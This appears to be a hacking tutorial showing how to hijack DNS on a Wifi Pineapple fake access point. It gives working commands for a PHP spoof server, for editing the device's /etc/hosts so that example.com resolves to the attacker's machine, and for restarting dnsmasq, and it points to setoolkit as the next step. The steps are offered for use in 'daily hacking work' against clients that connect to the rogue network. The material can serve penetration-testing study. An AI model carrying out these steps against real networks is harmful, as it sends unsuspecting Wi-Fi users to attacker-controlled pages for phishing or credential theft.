



DNS Hijacking with Wifi Pineapple

If you tried out modules like DNSspoofer or DNSMasqSpoofer on your **Wifi Pineapple** and had no success, then this tutorial will help you now. I will try my best to show you here a simple (*and working*) solution. The way differs to other tutorials on internet but should enable you to progress in your daily hacking work.

Objectives

In this example you will learn the basics about DNS Hijacking on Wifi Pineapple (*without any additional modules*).

Precondition

The ready configured internet share to Wifi Pineapple like in this **tutorial**, as well a 2nd device (*or Virtual Machine*) and a running FakeAP (*where we later connect*).

Step 1: prepare local PHP file and start PHP build-in server

To keep it simple, create the fake target site (*incl. server*) on your local device. This saves resources on Wifi Pineapple device and will help more to understand this hole topic.

```
1 # create local project
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2 $ mkdir -p ~/Projects/LandingPage
3
4 # change into project directory
5 $ cd ~/Projects/LandingPage
6
7 # create index.php file
8 $ vi ~/Projects/LandingPage/index.php
9
10 # start simple PHP server
11 $ php -S 0.0.0.0:80 index.php
12
13 # verify inside local browser (optional)
14 $ open http://172.16.42.42/
```

Content of very simple PHP file

index.php

```
1 <?php
2 header('Content-Type: text/html; charset=UTF-8');
3 echo 'hello spoofed DNS victim';
```

If you understand how all works, have a look on [setoolkit](#).

Step 2: change hosts file and flush DNS

The DNS redirection (*example.com to local running server*) on the Wifi Pineapple is very easy. Just connect with SSH, modify the hosts file and flush the DNS cache.

```
1 # ssh into Wifi Pineapple
2 $ ssh -C4 root@172.16.42.1
3
4 # edit hosts file
5 $ vi /etc/hosts
6
7 # clear DNS cache
8 $ killall dnsmasq && /etc/init.d/dnsmasq start
9
10 # verify (optional)
11 $ nslookup example.com
12
13 # download website (optional)
14 $ wget example.com -O /tmp/index.html
15
16 # view file content (optional)
17 $ cat /tmp/index.html
```

The `/etc/hosts` file after modify it (2nd line).

hosts

```
127.0.0.1 localhost
172.16.42.42 example.com

::1      localhost ip6-localhost ip6-loopback
ff02::1  ip6-allnodes
ff02::2  ip6-allrouters
```

However, since there are strong restrictions with this type (*for example wildcards are not possible*), you should use the DNSMasq configuration “addn-hosts” later. But for now it’s fine.

Step 3: flush DNS and connect to Wifi

Now you can flush the DNS on your device or vm (*STA*) load the page (*example.com*). If everything works perfectly you should see now the following content in your browser.

Fake response:

Real response:



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